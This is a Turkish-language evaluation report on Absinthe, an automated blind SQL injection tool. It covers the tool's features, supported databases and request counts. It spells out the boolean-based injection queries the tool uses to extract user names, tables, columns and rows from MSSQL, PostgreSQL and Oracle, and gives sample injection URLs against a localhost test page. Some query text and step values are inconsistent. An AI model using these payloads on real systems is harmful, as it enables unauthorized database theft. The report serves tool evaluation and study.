Araç Bilgi

Lisans

 

    GPL v2

 

Versiyon

 

     1.4.1

 

Yazar & İletişim

 

    Nummish, nummish AT 0x90.org

 

Dil

 

    VB.NET

 

Ön Koşullar

 

   .NET Framework 1.1

     

URL

 

    http://www.0x90.org/releases/absinthe/Absinthe-1.4.1-Source.tar.gz

 

Test Ortamı

 

    win2k3 sp1 vmware image with Python 2.5

    MSSQL 2005 EE, Oracle 10g EE, DB2 EC v 9.5, PostGreSQL 8.2, MySQL Community 5.0.45

     

Kurulum Püf Noktaları (Hatalar/Çözümler/Öneriler)

 

    DBMS olarak ORACLE seçildikten sonra sömürü sürecinde hatalar veriyor.

Rapor Hakkında

Rapor İsmi

 

      Absinthe -  Otomatize SQL Enjektörü Analizi   

 

Rapor Yazarı

 

     Mesut Timur, mesut at h-labs dot org, www.h-labs.org

 

Rapor Tarihi

 

     28 Şubat 2008

Kullanım

Komut Satırı/Grafiksel Arayüz

 

    Grafiksel Arayüz

 

Başlat/Durdur/Devam Et Özellikleri

    

    Yok


Dokümantasyon

 

    Programla birlikte herhangi bir dökümantasyon gelmese bile http://www.0x90.org/releases/absinthe/docs/ adresinden kullanışlı bir dökümantasyona erişilebilir

DB Döküm Yetenekleri

Veritabanı İsimleri

 

     Evet

 

Tablo İsimleri

 

     Evet

 

Sutün İsimleri

 

     Evet

 

Tablo Satırları

 

     Evet

Performans

Temel Sorgu

 

     Doğru ve yanlış sayfaların tespit etmeye çalışır.

 

Püf Noktaları

 

    -

 

Çalıştırılan Toplam Sorgu Sayısı

              

    Kullanıcı İsmi Almak

 

        Kör


                Mssql: 156

                Postgresql: 134

  

    Tablo İsimlerini Almak

 

        Kör


                Mssql: 171

                Postgresql: 140

 

Özellikler         

Kimlik Doğrulama Tipleri

 

     Cookie

 

         Evet

 

     Basit Kimlik Doğrulama

 

         Evet

 

     Özet Kimlik Doğrulama

 

         Evet

 

     NTLM

 

         Evet

 

     Sertifika

 

         Evet

 

DBMS Desteği

 

     Kalın punto ile yazılmış olanlar test edilmiştir.

     

    MSSQL 

    POSTGRESQL

     ORACLE (uygulama tarafından desteklense de sömürü sürecinde hatalar verip süreç başarısızlıkla sonuçlandı)  
    SYBASE

     

Gerçeklenen Enjeksiyon Tipleri

 

    Kör

 

        Doğru / Yanlış

 

             Evet

 

        Zaman Tabanlı

 

             Hayır

 

    Hata Tabanlı

 

        Evet ama sadece MSSQL 2005'in bazı eski sürümlerine desteği var (test edilmedi)

    

    Union     

 

        Hayır

 

    Tek Kayıt Union

 

        Yok

 

    Bant Dışı Kanal

 

        Yok

     

Anonimlik

 

    User-Agent


            Evet Tools > Injection Options > User Agent üzerinden değiştirilebilir (varsayılan seçenek Absinthe 1.4 olup başka opsiyonlar da mevcuttur)

 

    Referrer

 

        Yok

 

    Proxy

 

              Evet Tools>Proxy Config üzerinden ( localhost için proxy'iyi aradan çıkarıyor)

 

Veritabanı Döküm Granüleritesi

 

     İndirmek istediğiniz tabloları ve seçtiğiniz tablonun sütunlarını da tekrar seçebiliyorsunuz.

 

Diğer

 

     302 Yönlendirme Yönetimi

 

         Yok

 

     Atlatma (Evasion) Özellikleri

 

         Yok

 

     Özel Yapım SQL Sorgu Desteği

 

         Yok

 

     Paralel İstekler

 

         Kullanıcıya thread sayısını belirlemek gibi bir şans tanımıyor.

     

Enjeksiyon Noktaları

 

     GET

         

         Evet

 

     POST

 

         Evet

 

     COOKIE

 

         Evet

 

     HTTP HEADERS

     

         Hayır

 

Otomatik Yazılım Yenileme

 

     Yok

Çıktı/Kayıt Tutma

İstek/Cevap Kayıtları

         

        Programla beraber çalışan bir komut satırı ekranı var. Bu ekranda giden sorguları görebiliyorsunuz ve isterseniz , programı komut satırından çalıştırırken tüm çıktılarını kaydetmek üzere başka bir dosyaya gönderebilirsiniz .(> ile)

 

Programa Özel Kayıt Tutma

 

        İndirdiğiniz kayıtları XML formatında kaydetmeye izin veriyor.

SQLi Açıklık Tarama Desteği

Basit SQL Enjeksiyonu Testi (Tek URL ve Parametreler)

 

    Evet

 

 Basit SQL Enjeksiyonu Tarama (Crawling Yolu İle)

 

    Yok

Sorgu Detayları

    DBMS Banner Alma

    

         Yok

 

    Kullanıcı İsmi Alma

 

         MSSQL Server 2005

              
             Uzunluğun Hesaplanması :

    SELECT LEN(a.loginame) FROM master..sysprocesses AS a WHERE a.spid = @@SPID) > uzunluk

                         

            Kullanıcı Adının Alınması  :

    (SELECT ASCII(SUBSTRING((a.loginame),character_counter,1)) FROM master..sysprocesses AS a WHERE a.spid = @@SPID) >search_value

 

                    @@SPID : Bağlantı tanımlama numarası


        PostgreSQL

            Uzunluğun Hesaplanması :

    SELECT uzunluk(USER) > search_value

 

            Kullanıcı Adının Alınması :

    SELECT ASCII(SUBSTR(USER,character_counter,1))) > search_value 


        Oracle

            Uzunluğun Hesaplanması :

    SELECT uzunluk(a.username) from USER_USERS a where a.username=user)> search_value

                       

            Kullanıcı Adının Alınması :

    SELECT ASCII(SUBSTR(a.username,character_counter,1)) FROM USER_USERS a WHERE A.USERNAME = user) > search_value

 

   Veritabanı İsimlerini Almak

    
           Absinthe veritabanlarını çekmeden tabloları indiriyor.

 

   Tablo İsimlerini Almak

 

        MSSQL Server 2005

            Tablo Sayısının Hesaplanması

    SELECT COUNT(name) FROM sysobjects WHERE xtype=char(85)) > search_value


            İlk tablonun ID'sinin belirlenmesi :

    SELECT MIN(id) FROM sysobjects WHERE id > prev_table_id AND xtype=char(85)) > search_value

                      

                     first prev_table_id = 0

            

            Tablo Adının Uzunluğunun Alınması :

     SELECT TOP 1 LEN(name) FROM sysobjects WHERE id= table_id AND xtype=char(85) > search_value


            Tablo Adının Alınması :

    SELECT ASCII(SUBSTRING(name, character_counter ,1)) FROM sysobjects WHERE id=table_id) > search_value


                Kayıt Sayısının Belirlenmesi:

    SELECT COUNT(*) FROM actor > search_value

 


        PostgreSQL
   

            Tablo Sayısının Hesaplanması

    SELECT COUNT(relname) FROM pg_class WHERE  relkind = chr(114) and substr(relname, 1, 3) <> (chr(112)||chr(103)||chr(95)) and substr(relname, 1, 4) <> (chr(115)||chr(113)||chr(108)||chr(95))) > search_value      

            

            catalog pg_class tablosu, tabloları tutar.

            relname : tablo adı
            relkind : nesne tipi (r = ordinary table, i = index, S = sequence, v = view, c = composite type, s = special, t = TOAST table )
            SELECT (chr(112)||chr(103)||chr(95)) =pg
            SELECT (chr(115)||chr(113)||chr(108)||chr(95)) = sql

            İlk tablonun ID'sinin belirlenmesi :

    SELECT MIN(reltype) from pg_class where relkind = chr(114) and substr(relname, 1,3) <> (chr(112)||chr(103)||chr(95)) and substr(relname, 1, 4) <> (chr(115)||chr(113)||chr(108)||chr(95)) and reltype > 0) > search_value


            Tablo Adının Uzunluğunun Alınması :

    SELECT uzunluk(relname) from pg_class where reltype = OID) > search_value

                        OID : 2

            Tablo Adının Alınması :

    SELECT ASCII(SUBSTR(relname,character_counter,1)) from pg_class where reltype=OID) > search_value


            Kayıt Sayısının Belirlenmesi :

    SELECT COUNT(*) FROM TABLE_NAME) > search_value

   Sütun Adlarının Çekilmesi

   

        MSSQL Server 2005


            Sütun Sayısının Hesaplanması :

    SELECT COUNT(name) FROM syscolumns WHERE id=table_id > search_value

Sütun ID'sinin Belirlenmesi :

    SELECT MIN(colid) FROM syscolumns WHERE colid > prev_colid AND id=table_id > search_value


also looks for constraints :

    SELECT MIN(colid) FROM sysconstraints WHERE id=table_id AND status=1) > search_value

Sütun Adının Uzunluğu

    SELECT TOP 1 LEN(name) FROM sysobjects WHERE id=table_id AND colid=colid > search_value

Sütun Adınının Alınması :

    SELECT ASCII(SUBSTRING(name, character_counter, 1)) FROM syscolumns WHERE id=table_id AND colid=colid > search_value

Detecting type of the database

    SELECT TOP 1 (xtype) FROM syscolumns WHERE id=table_id AND colid=colid)> search_value

        PostgreSQL     

Sütun Sayısının Hesaplanması :

    SELECT relnatts FROM pg_class WHERE reltype = OID > search_value

Sütun ID'sinin Belirlenmesi :

    SELECT MIN(ATTNUM) FROM PG_ATTRIBUTE WHERE ATTNUM > 0 AND ATTRELID=OID) > search_value

attnum : Sütun Numarası.Sıradan sütunlar 1'den yukarı doğru giderler. System sütunlarının keyfi negatif numaraları vardır.

Sütun Adının Uzunluğu :

    SELECT uzunluk(attname) from pg_attribute where attnum=COL_NUMBER AND attrelid=OID

Sütun Adınının Alınması :

    SELECT ASCII(SUBSTR(ATTNAME,character_counter,1)) FROM PG_ATTRIBUTE where ATTRELID=OID AND ATTNUM=COL_NUMBER) > search_value

Sütunun Veri Tipinin Belirlenmesi :

    SELECT ATTTYPID FROM PG_ATTRIBUTE WHERE ATTNUM=COL_NUMBER AND ATTRELID=OID > search_value


   Satırları Almak     

       

        MSSQL Server 2005

            Satırın ID'sinin belirlenmesi :

    ID = SELECT MIN(PRIMARY_KEY) FROM TABLE_NAME) > search_value

            İndirilecek Satırın Boyutunun Belirlenmesi:

    SELECT TOP 1 LEN(COL_NAME) FROM actor WHERE PRIMARY_KEY=ID) > search_value

            Satırın Alınması :

    SELECT ASCII(SUBSTRING(COL_NAME,character_counter,1)) FROM TABLE_NAME WHERE PRIMARY_KEY=ID) > search_value

        PostgreSQL

            Satırın ID'sinin belirlenmesi :    

    ID = SELECT MIN(PRIMARY_KEY) FROM TABLE_NAME) > search_value

                ve boş olup olmadığı kontrol ediliyor.

    SELECT COL_NAME FROM TABLE_NAME WHERE PRIMARY_KEY=ID) IS NULL 

            İndirilecek Satırın Boyutunun Belirlenmesi:

    SELECT uzunluk(COL_NAME) FROM TABLE_NAME WHERE PRIMARI_KEY=ID) > search_value

            Satırın Alınması :
    SELECT ASCII(SUBSTR(COL_NAME,character_counter,1)) FROM TABLE_NAME WHERE PRIMARY_KEY=ID) > search_value

Algoritma/Analiz

  Integers

 

    Program integer tipinde bir veriyi ararken, öncelikli olarak sayının aralığı tespiti edilir, belirlenen aralıkta "binary search" algoritması ile arama yapılır. Sayının aralığı tespit edilirken, 1'den başlayıp yukarı doğru 2 ile çarpılarak giden bir listeden faydalanılır. Aşağıda basitçe örnek üzerinden olayın akışı anlatılacaktır.


   

    Matematiksel Olarak İfade Edersek :

# of Reqs =O(ceiling (log n) +1 +floor(logn) + 1)

 

1.ceiling fonksiyonu verilen sayının ondalıklı kısmı varsa, sayıyı bir üst sayıya tamlar. Örneğin ceiling(2.3)=3
2.floor fonksiyonu verilen sayının ondalıklı kısmını atar. Örneğin floor( 2,7) = 2.
2.log n'in tabanı 2'dir.

Detaya inmek gerekirse, sayının aralığının belirlenmesi için ceiling (logn)+1 kadar istek yapılması gerekecektir. Bunun haricinde, sayının tam yerini bulmak için floor(logn) istek gereklidir. Tüm bunlardan sonra, Absinthe emin olmak amacıyla bir kontrol daha yapar.

Ufak Pratik Uygulama

        Örneğin, 5 karakterli bir kullanıcı adının, uzunluğunu çekmek için : 

        1.uzunluk == 0  -- > Yanlış

 http://localhost/sqlinj.php?database=pgsql&order=1&blind=1&name=NICK'+AND+(SELECT+uzunluk(USER))%3d+0++AND+'1'%3d'1

 

 

                2.uzunluk  > 2   -- > Doğru


 http://localhost/sqlinj.php?database=pgsql&order=1&blind=1&name=NICK'+AND+(SELECT+uzunluk(USER))+%3e+2+AND+'1'%3d'1

 

        3.uzunluk  > 4   -- > Doğru

 http://localhost/sqlinj.php?database=pgsql&order=1&blind=1&name=NICK'+AND+(SELECT+uzunluk(USER))+%3e+4+AND+'1'%3d'1

 

        4.uzunluk  > 8   -- > Yanlış,*

 http://localhost/sqlinj.php?database=pgsql&order=1&blind=1&name=NICK'+AND+(SELECT+uzunluk(USER))+%3e+8+AND+'1'%3d'1

 

        5.uzunluk  > 6   -- > Yanlış

 http://localhost/sqlinj.php?database=pgsql&order=1&blind=1&name=NICK'+AND+(SELECT+uzunluk(USER))+%3e+6+AND+'1'%3d'1

 

        6.uzunluk  > 5   -- > Yanlış

 http://localhost/sqlinj.php?database=pgsql&order=1&blind=1&name=NICK'+AND+(SELECT+uzunluk(USER))+%3e+7+AND+'1'%3d'1

 

        7.uzunluk  > 4   -- > Doğru,**

 http://localhost/sqlinj.php?database=pgsql&order=1&blind=1&name=NICK'+AND+(SELECT+uzunluk(USER))+%3e+7+AND+'1'%3d'1

 


*4.Adımda, sayının üst limiti bulundu ve aralık 4-8 olarak saptandı.
** 7.Adım kontrol adımıdır.

Burada n=5, ve yukarıda gördüğünüz gibi 7 istek yapılması gerekti. Olaya bir de formülümüzden bakarsak :

# of Reqs =O( ceiling (log n) +1 +floor(logn) + 1) --> # of Reqs = 3 + 1 + 2 + 1 = 7

 

Karakter Araması

     Sizin de bildiğiniz gibi, Absinthe örneğin kullanıcı adını çekerken karakter karakter işlem yapıyor.19433 ile 0 arasında "binary search" yaparak ilgili değeri arıyor. Ama burada fazladan 9-10 istek yapılmış durumda, zira 125'ten sonra yazdırılabilir bir ascii karakteri yok. Bu durumda  en fazla log19433 istek yapılır.Bu sayı da 14-15 arası bir değere tekabul ediyor. Ama genellikle :

10 <= İstek Sayısı <= 15

10-15 Arası istekle kullanıcı adı belirlenebilir.